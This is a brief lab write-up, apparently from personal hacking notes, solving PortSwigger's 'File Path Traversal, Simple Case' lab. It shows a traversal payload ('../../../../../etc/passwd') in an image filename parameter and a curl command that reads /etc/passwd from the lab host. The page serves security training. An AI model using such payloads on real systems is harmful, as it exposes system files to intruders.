> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/path-traversal/basic-path-traversal.md).

# Basic Path Traversal

Basic Path Traversal notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### File Path Traversal, Simple Case

This lab presents a vulnerability of path traversal when displaying product images. / To resolve this, simply access the contents of the **/etc/passwd** file.

The images are loaded using a **filename** parameter:

```bash
/image?filename=53.jpg
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1708318fdef88340bcc011a782ab57c794a85b4%2Fimage%20(249).png?alt=media" alt=""><figcaption></figcaption></figure>

By replacing this filename with a sequence that allows you to go back to the tree, you can target system files:

```bash
/image?filename=../../../../../etc/passwd
```

Example with **curl**:

{% code overflow="wrap" %}

```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```

{% endcode %}

This payload displays the contents of the passwd file, thereby validating the lab.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb4ccdb8c0f97f35787955ce336c2c460f96d84%2Fimage%20(250).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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